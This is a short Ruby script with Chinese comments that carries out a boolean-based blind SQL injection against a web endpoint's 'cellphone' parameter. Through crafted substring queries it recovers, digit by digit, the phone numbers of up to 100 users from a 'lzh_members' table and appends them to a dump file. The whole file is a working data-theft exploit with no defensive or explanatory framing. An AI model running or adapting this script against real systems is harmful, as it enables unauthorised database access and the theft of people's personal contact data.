1 require 'http'
2
3 f = open 'dump_6001_10000.txt','a' #建一个文本写电话号码进去
4
5 #body = "cellphone=18718350615) and (select substr(user_phone,2,1) from lzh_members limit 1,1)=3-- -"
6 url = "http://xxx/common/checkphone"
7
8 phone = 0..9
9
10 [*1..100].each do|members|#猜第几位用户用
11 body = "cellphone=12345654454) and (select length(user_phone) from lzh_members limit #{members},1)=11-- -"#假如电话不是11位, 跳过不猜
12 puts 'guess the user_phone length is: 11 ???'
13 html = HTTP.headers('Content-Type' => 'application/x-www-form-urlencoded').post(url,:body => body)
14 if not /status":1/m =~ html.to_s
15 puts 'Next, the user_phone is not 11 ......'
16 #sleep 1
17 next
18 end
19 user_phone = []
20 [*1..11].each do|count| #猜电话位数用
21 phone.to_a.each do|number| #猜电话数字用
22 body = "cellphone=12345654454) and (select substr(user_phone,#{count},1) from lzh_members limit #{members},1)=#{number}-- -"
23 puts body
24 html = HTTP.headers('Content-Type' => 'application/x-www-form-urlencoded').post(url,:body => body)
25 if /status":1/m =~ html.to_s
26 puts 'Found: '+number.to_s
27 user_phone.push number
28 break
29 end
30 end
31 end
32 puts user_phone.join
33 f.puts user_phone.join
34 f.flush
35 #sleep 1
36 end
37 puts 'DONE'